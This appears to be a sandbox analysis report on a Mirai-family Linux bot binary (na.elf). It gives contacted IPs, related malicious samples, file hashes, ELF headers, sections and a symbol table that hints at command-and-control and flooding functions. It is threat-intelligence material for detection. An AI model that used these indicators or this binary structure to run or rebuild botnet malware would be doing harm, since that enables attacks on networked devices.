41.125.243.155	unknown	South Africa	16637	MTNNS-ASZA	false
211.11.46.249	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
41.203.15.64	unknown	South Africa	37153	xneeloZA	true
41.147.88.119	unknown	South Africa	5713	SAIX-NETZA	false
156.154.216.71	unknown	United States	19905	NEUSTAR-AS6US	false
41.137.141.221	unknown	Morocco	36884	MAROCCONNECTMA	false
41.237.9.81	unknown	Egypt	8452	TE-ASTE-ASEG	false
140.228.246.119	unknown	United States	600	OARNET-ASUS	false
41.115.213.197	unknown	South Africa	16637	MTNNS-ASZA	false
69.15.77.182	unknown	United States	17184	ATL-CBEYONDUS	false
156.71.116.222	unknown	United States	297	AS297US	false
41.148.201.120	unknown	South Africa	5713	SAIX-NETZA	false
212.49.223.79	unknown	United Kingdom	8426	CLARANET-ASClaraNETLTDGB	false
41.143.204.101	unknown	Morocco	36903	MT-MPLSMA	false
41.131.9.185	unknown	Egypt	24863	LINKdotNET-ASEG	false
95.156.176.229	unknown	Bosnia and Herzegowina	20875	HPTNET-ASBA	false
41.87.73.216	unknown	Nigeria	37248	PHASE3TELNG	false
197.210.224.179	unknown	Nigeria	29465	VCG-ASNG	false
61.70.85.177	unknown	Taiwan; Republic of China (ROC)	9416	MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	false
71.96.164.138	unknown	United States	5650	FRONTIER-FRTRUS	false
197.173.220.140	unknown	South Africa	37168	CELL-CZA	false
60.62.31.120	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
139.226.74.110	unknown	China	17621	CNCGROUP-SHChinaUnicomShanghainetworkCN	false
197.49.55.231	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.250.5.159	unknown	Morocco	36903	MT-MPLSMA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.35.35.138	EpHEPZ42K2.elf	Get hash	malicious	Mirai, Moobot	Browse
156.55.64.66	l99tLLKEfY.elf	Get hash	malicious	Mirai, Moobot	Browse
93.42.110.173	aNvZmFtGVf.elf	Get hash	malicious	Mirai	Browse
41.152.179.58	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse
	6piQjotuYV.elf	Get hash	malicious	Mirai	Browse
	skid.x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	y5WwMBeTqh	Get hash	malicious	Mirai	Browse
	3XVTeL2yOE	Get hash	malicious	Mirai	Browse
197.128.22.106	wAN60gunBT.elf	Get hash	malicious	Mirai	Browse
	Hfzojvt80b	Get hash	malicious	Mirai	Browse
	mir40.o	Get hash	malicious	Mirai	Browse
	JIUq8a4ITS	Get hash	malicious	Mirai	Browse
	qLadwVPkMz	Get hash	malicious	Unknown	Browse
183.21.163.3	sora.x86	Get hash	malicious	Mirai	Browse
197.46.129.84	4cpLrmQNPM.elf	Get hash	malicious	Mirai	Browse
	TlEt6zNLVd.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86_64-20220923-2007.elf	Get hash	malicious	Mirai, Moobot	Browse
	vGS5FlwPDP	Get hash	malicious	Mirai	Browse
197.214.155.139	NRfSsM1XtX.elf	Get hash	malicious	Mirai	Browse
197.214.155.139	RaVPWTArgG	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-IDCTNOOMINCIT	x86.elf	Get hash	malicious	Mirai	Browse	156.55.64.11
	mirai.x86.elf	Get hash	malicious	Mirai	Browse	156.54.163.111
	KKveTTgaAAsecNNaaaa.arm.elf	Get hash	malicious	Unknown	Browse	156.54.56.115
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	156.55.88.56
	154.216.17.9-skid.mips-2024-08-04T06_23_09.elf	Get hash	malicious	Mirai, Moobot	Browse	156.55.64.36
	154.216.17.9-skid.x86-2024-08-04T06_23_12.elf	Get hash	malicious	Mirai, Moobot	Browse	156.54.221.235
	154.216.17.9-skid.x86_64-2024-08-04T06_23_14.elf	Get hash	malicious	Mirai, Moobot	Browse	156.54.150.9
	botx.arm.elf	Get hash	malicious	Mirai	Browse	81.119.235.80
	54guV3J1pQ.elf	Get hash	malicious	Mirai	Browse	81.119.236.205
	205.185.120.123-skid.x86-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	156.55.64.36
ETISALAT-MISREG	na.elf	Get hash	malicious	Mirai	Browse	156.182.170.36
	na.elf	Get hash	malicious	Mirai	Browse	41.64.233.34
	z3hir.arm.elf	Get hash	malicious	Mirai	Browse	105.202.185.213
	yakov.arm.elf	Get hash	malicious	Mirai	Browse	102.62.35.168
	yakov.mips.elf	Get hash	malicious	Mirai	Browse	156.183.158.125
	gmpsl.elf	Get hash	malicious	Mirai	Browse	156.176.96.251
	mips.elf	Get hash	malicious	Mirai	Browse	156.161.229.91
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.177.182.95
	ppc.elf	Get hash	malicious	Mirai	Browse	156.175.70.202
	novo.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	217.52.42.110
FASTWEBIT	z3hir.arm.elf	Get hash	malicious	Mirai	Browse	151.91.217.115
	arm7-20241006-0950.elf	Get hash	malicious	Unknown	Browse	5.77.114.6
	8QBpLkbY6i.exe	Get hash	malicious	WhiteSnake Stealer	Browse	2.230.193.197
	yakov.m68k.elf	Get hash	malicious	Mirai	Browse	2.239.41.48
	novo.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	151.0.154.4
	novo.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	93.55.47.17
	https://redcap-int.istitutotumori.mi.it/	Get hash	malicious	Unknown	Browse	89.96.76.153
	SecuriteInfo.com.Linux.Siggen.9999.8163.26295.elf	Get hash	malicious	Mirai	Browse	85.18.118.9
	JEXsDKnKx4.elf	Get hash	malicious	Mirai, Okiru	Browse	93.53.130.155
	SecuriteInfo.com.Linux.Siggen.9999.5151.15671.elf	Get hash	malicious	Mirai	Browse	2.230.238.24
CANET-ASN-4CA	na.elf	Get hash	malicious	Mirai	Browse	156.34.23.186
	arm-20241006-0950.elf	Get hash	malicious	Mirai	Browse	142.166.65.18
	mips.elf	Get hash	malicious	Mirai	Browse	156.34.23.152
	x86_64.elf	Get hash	malicious	Mirai	Browse	156.34.23.176
	jydeTkHxMv.elf	Get hash	malicious	Unknown	Browse	142.70.116.39
	SecuriteInfo.com.Linux.Siggen.9999.8861.1379.elf	Get hash	malicious	Mirai	Browse	156.34.23.174
	SecuriteInfo.com.Linux.Siggen.9999.3716.19012.elf	Get hash	malicious	Mirai	Browse	99.193.167.147
	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse	142.70.229.5
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	99.192.31.231
	SecuriteInfo.com.Linux.Siggen.9999.22286.12230.elf	Get hash	malicious	Mirai	Browse	209.128.54.155

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	6.1163997381809265
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	na.elf
File size:	143'548 bytes
MD5:	91d3eaf550518fc516e0aca16cb60e64
SHA1:	be96050f113013c06309fd2118cb4c038ebb17d9
SHA256:	d18fc665e2e2355b0cb8632784a0dcdd778f28cc9cc0530312b96c3b61305f85
SHA512:	e42a17f79cb7b9895bea5365da66b0b68aa4fdd940c8a8d81d3744303305a5cda51a945a22d699d4b9cac5c596b6c05c71a416fae90937fafee45ec17756be76
SSDEEP:	3072:ezwFzskMXc8r7skiNJkIOVPem4MSRyWtiDA6Dcoixgr1TkM3Q:eGMX9JiNjOIdToDcoixgr1TkM3Q
TLSH:	4CE3293372D189ABC09312B82ADBA6A19C21FDBF0735614B33D47E687B398C45D59B43
File Content Preview:	.ELF..............>.......@.....@.......P...........@.8...@.......................@.......@.....X.......X.......................X.......X.Q.....X.Q.............8v..............Q.td....................................................H...._.....L..H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	111952
Section Header Size:	64
Number of Section Headers:	15
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	0	0	1
.text	PROGBITS	0x400100	0x100	0x14d28	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x414e28	0x14e28	0xe	0x0	0x6	AX	0	0	1
.rodata	PROGBITS	0x414e40	0x14e40	0x5311	0x0	0x2	A	0	0	32
.eh_frame	PROGBITS	0x41a154	0x1a154	0x4	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x51a158	0x1a158	0x10	0x0	0x3	WA	0	0	8
.dtors	PROGBITS	0x51a168	0x1a168	0x10	0x0	0x3	WA	0	0	8
.jcr	PROGBITS	0x51a178	0x1a178	0x8	0x0	0x3	WA	0	0	8
.data	PROGBITS	0x51a180	0x1a180	0x788	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x51a920	0x1a908	0x6e70	0x0	0x3	WA	0	0	32
.comment	PROGBITS	0x0	0x1a908	0xbe2	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1b4ea	0x66	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1b910	0x4ec0	0x18	0x0		14	296	8
.strtab	STRTAB	0x0	0x207d0	0x28ec	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1a158	0x1a158	6.3739	0x5	R E	0x100000	.init .text .fini .rodata .eh_frame
LOAD	0x1a158	0x51a158	0x51a158	0x7b0	0x7638	2.4557	0x6	RW	0x100000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x4000e8	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x400100	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x414e28	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x414e40	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x41a154	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x51a158	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x51a168	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x51a178	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x51a180	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x51a920	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
C.145.7195	.symtab	0x417660	88	OBJECT	<unknown>	DEFAULT	4
KHcommSOCK	.symtab	0x51a9e0	4	OBJECT	<unknown>	DEFAULT	10
KHserverHACKER	.symtab	0x51a480	4	OBJECT	<unknown>	DEFAULT	9
LOCAL_ADDR	.symtab	0x520dd8	4	OBJECT	<unknown>	DEFAULT	10
Q	.symtab	0x51aa00	16384	OBJECT	<unknown>	DEFAULT	10
Trim	.symtab	0x401478	235	FUNC	<unknown>	DEFAULT	2
UserAgents	.symtab	0x51a360	288	OBJECT	<unknown>	DEFAULT	9
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x51a160	0	OBJECT	<unknown>	DEFAULT	6
__CTOR_LIST__	.symtab	0x51a158	0	OBJECT	<unknown>	DEFAULT	6
__C_ctype_b	.symtab	0x51a498	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x418520	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x51a4a8	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x418820	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x51a4b8	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x418b20	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x51a170	0	OBJECT	<unknown>	DEFAULT	7
__DTOR_LIST__	.symtab	0x51a168	0	OBJECT	<unknown>	DEFAULT	7
__EH_FRAME_BEGIN__	.symtab	0x41a154	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x41a154	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x51a498	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_b_data	.symtab	0x418520	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_tolower	.symtab	0x51a4a8	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_tolower_data	.symtab	0x418820	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_toupper	.symtab	0x51a4b8	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_toupper_data	.symtab	0x418b20	768	OBJECT	<unknown>	HIDDEN	4
__GI___ctype_b	.symtab	0x51a4a0	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_tolower	.symtab	0x51a4b0	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_toupper	.symtab	0x51a4c0	8	OBJECT	<unknown>	HIDDEN	9
__GI___errno_location	.symtab	0x40d458	6	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x40f2e4	14	FUNC	<unknown>	HIDDEN	2
__GI___h_errno_location	.symtab	0x411eec	6	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_lseek	.symtab	0x414bbc	45	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x40d0dc	106	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x41174c	70	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x4117cb	67	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x40f2f4	194	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x40ceac	42	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x410c2c	276	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x411110	18	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x413794	43	FUNC	<unknown>	HIDDEN	2
__GI_clock_getres	.symtab	0x411b40	41	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x40cf04	41	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x40d2f0	116	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x40f854	43	FUNC	<unknown>	HIDDEN	2
__GI_dup2	.symtab	0x40cf30	44	FUNC	<unknown>	HIDDEN	2
__GI_errno	.symtab	0x520d7c	4	OBJECT	<unknown>	HIDDEN	10
__GI_execl	.symtab	0x4112f8	287	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x411b6c	38	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x41129c	92	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x4137ec	259	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	HIDDEN	2
__GI_fcntl64	.symtab	0x40ce48	100	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x413c14	329	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x40e784	109	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x40e7f4	116	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x40d490	10	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x40cf5c	38	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x40e868	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x4138f0	5	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x4138f8	218	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x411b94	82	FUNC	<unknown>	HIDDEN	2
__GI_fstat64	.symtab	0x411b94	82	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x40e8a0	134	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x40cf84	35	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x411be8	38	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x40cfa8	38	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x411c10	38	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x40f498	53	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x40f4d0	897	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x411c38	19	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x40cfd0	38	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x40d020	40	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x40f880	41	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x411c4c	38	FUNC	<unknown>	HIDDEN	2
__GI_h_errno	.symtab	0x520d80	4	OBJECT	<unknown>	HIDDEN	10
__GI_inet_addr	.symtab	0x40f47c	28	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x412d0c	137	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x41439c	527	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x414097	493	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x411057	185	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x40d048	104	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x40f3d4	25	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x40d0b0	44	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x414bbc	45	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x414bb4	5	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x412acc	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x40e930	102	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x40edf4	734	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x412a70	90	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x412bbc	237	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x40e9a0	210	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x411b10	48	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x411c74	42	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x411ca0	38	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x411cc8	38	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x40d0dc	106	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x40d364	243	FUNC	<unknown>	HIDDEN	2
__GI_pipe	.symtab	0x40d154	38	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x4137c0	41	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x413768	18	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x410d4c	72	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x410f54	90	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x413ea0	190	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x40d1a8	39	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x40f8e0	11	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x40f8ec	45	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x411cf0	74	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x40d1d0	44	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x40f91c	11	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x40f928	48	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x40f958	53	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x410eac	168	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x411a01	247	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x40f9c0	35	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x40f9e4	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x40f9f8	168	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x40d1fc	85	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x411418	415	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x40d49c	137	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x40f990	47	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x40d528	149	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x410fae	169	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x414bec	48	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x40ea80	417	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x413d60	33	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x413d60	33	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x40ec30	213	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x413fd8	54	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x40ed10	225	FUNC	<unknown>	HIDDEN	2
__GI_strncat	.symtab	0x413f60	119	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x40f0d4	131	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x40f158	206	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x413d88	140	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x413e18	135	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x40f228	187	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x40f3c8	10	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x412cac	94	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x411124	10	FUNC	<unknown>	HIDDEN	2
__GI_strtoll	.symtab	0x411124	10	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x4115b8	351	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x40f3f0	110	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x40d254	39	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x411d3c	39	FUNC	<unknown>	HIDDEN	2
__GI_tolower	.symtab	0x40d2b0	30	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x40d2d0	30	FUNC	<unknown>	HIDDEN	2
__GI_vfork	.symtab	0x40ce30	21	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x40d5c0	199	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x411d64	47	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x40d27c	7	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x411ef4	68	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x411f48	140	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x411f38	15	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x40d284	42	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x51a178	0	OBJECT	<unknown>	DEFAULT	8
__JCR_LIST__	.symtab	0x51a178	0	OBJECT	<unknown>	DEFAULT	8
__app_fini	.symtab	0x520d68	8	OBJECT	<unknown>	HIDDEN	10
__atexit_lock	.symtab	0x51a8a0	40	OBJECT	<unknown>	DEFAULT	9
__bsd_signal	.symtab	0x40f9f8	168	FUNC	<unknown>	HIDDEN	2
__bss_start	.symtab	0x51a908	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x411796	53	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x51a4a0	8	OBJECT	<unknown>	DEFAULT	9
__ctype_tolower	.symtab	0x51a4b0	8	OBJECT	<unknown>	DEFAULT	9
__ctype_toupper	.symtab	0x51a4c0	8	OBJECT	<unknown>	DEFAULT	9
__curbrk	.symtab	0x520dd0	8	OBJECT	<unknown>	HIDDEN	10
__data_start	.symtab	0x51a190	0	NOTYPE	<unknown>	DEFAULT	9
__decode_answer	.symtab	0x414758	242	FUNC	<unknown>	HIDDEN	2
__decode_dotted	.symtab	0x414cbc	246	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x414650	161	FUNC	<unknown>	HIDDEN	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__dns_lookup	.symtab	0x412d98	1862	FUNC	<unknown>	HIDDEN	2
__do_global_ctors_aux	.symtab	0x414df0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x400100	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x51a180	0	OBJECT	<unknown>	HIDDEN	9
__encode_dotted	.symtab	0x414c1c	160	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x4145ac	163	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x4146f4	80	FUNC	<unknown>	HIDDEN	2
__environ	.symtab	0x520d58	8	OBJECT	<unknown>	DEFAULT	10
__errno_location	.symtab	0x40d458	6	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x520d48	8	OBJECT	<unknown>	HIDDEN	10
__fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fini_array_start	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__get_hosts_byname_r	.symtab	0x413738	48	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x411c38	19	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x40f2e4	14	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x411eec	6	FUNC	<unknown>	DEFAULT	2
__h_errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__init_array_end	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__init_array_start	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__length_dotted	.symtab	0x414db4	59	FUNC	<unknown>	HIDDEN	2
__length_question	.symtab	0x414744	19	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x40cf04	41	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x40f854	43	FUNC	<unknown>	DEFAULT	2
__libc_creat	.symtab	0x40d146	14	FUNC	<unknown>	DEFAULT	2
__libc_fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	DEFAULT	2
__libc_fcntl64	.symtab	0x40ce48	100	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x40cf5c	38	FUNC	<unknown>	DEFAULT	2
__libc_getpid	.symtab	0x40cfd0	38	FUNC	<unknown>	DEFAULT	2
__libc_lseek	.symtab	0x414bbc	45	FUNC	<unknown>	DEFAULT	2
__libc_lseek64	.symtab	0x414bb4	5	FUNC	<unknown>	DEFAULT	2
__libc_nanosleep	.symtab	0x411cc8	38	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x40d0dc	106	FUNC	<unknown>	DEFAULT	2
